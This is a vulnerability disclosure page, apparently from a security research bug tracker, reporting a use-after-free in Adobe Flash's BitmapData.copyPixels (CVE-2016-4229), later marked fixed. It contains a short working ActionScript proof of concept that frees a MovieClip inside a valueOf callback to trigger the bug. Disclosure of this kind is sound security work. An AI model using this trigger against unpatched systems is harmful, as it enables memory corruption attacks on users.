New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Sep 2016
Cc:



Sign in to add a comment
Adobe Flash: Use-after-free in BitmapData.copyPixels
Project Member Reported by natashenka@google.com, Jun 9 2016 Back to list
There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var b = new flash.display.BitmapData(10, 10, true, 7);
var f = b.copyPixels;
mc.f = f;
mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});


function func(){

	mc.removeMovieClip();
	
	// Fix the heap	
	
	}


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
Project Member Comment 1 by natashenka@google.com, Jun 10 2016
draw.swf
829 bytes Download
draw.fla
4.7 KB Download
Project Member Comment 2 by natashenka@google.com, Aug 25 2016
Labels: -Restrict-View-Commit -Severity-High CVE-2016-4229 Severity-HIgh
Fixed in July update
Project Member Comment 3 by natashenka@google.com, Sep 8 2016
Status: Fixed
Sign in to add a comment